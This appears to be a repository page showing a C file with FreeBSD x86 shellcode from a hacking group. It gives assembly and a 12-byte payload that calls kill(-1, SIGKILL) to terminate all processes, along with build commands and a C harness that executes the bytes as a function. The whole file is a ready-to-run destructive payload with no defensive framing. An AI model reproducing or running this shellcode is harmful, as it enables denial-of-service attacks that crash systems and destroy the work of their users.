-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathshellcode-102.c
More file actions
executable file
·48 lines (34 loc) · 961 Bytes
/
shellcode-102.c
File metadata and controls
executable file
·48 lines (34 loc) · 961 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// ***(C)oDed bY suN8Hclf***
// DaRk-CodeRs Group productions, kid
// [FreeBSD x86 kill all procesess 12 bytes shellcode]
// Compile:
// nasm -f elf code.asm
// ld -e _start -o code code.o
// Assembly code:
// ---------------------code.asm-------------------
// section .text
// global _start
// _start:
// xor eax, eax
// push byte 9 ; SIGKILL
// dec eax
// push eax ; -1 (0xffffffff)
// inc eax
// mov al, 37 ;kill() syscall number, check /usr/src/sys/kern/syscalls.master for details
// push eax
// int 0x80
// ---------------------code.asm-------------------
// And C code:
// ---------------------code.c---------------------
#include "stdio.h"
char shellcode[]=
"\x31\xc0\x6a\x09\x48\x50\x40\xb0\x25\x50\xcd\x80";
int main()
{
int (*func)();
func=(int (*)())shellcode;
(int)(*func)();
}
// ---------------------code.c---------------------
// Greetz: all DaRk-CodeRs guys, e.wiZz!, doctor
// Visit : www.dark-coders.pl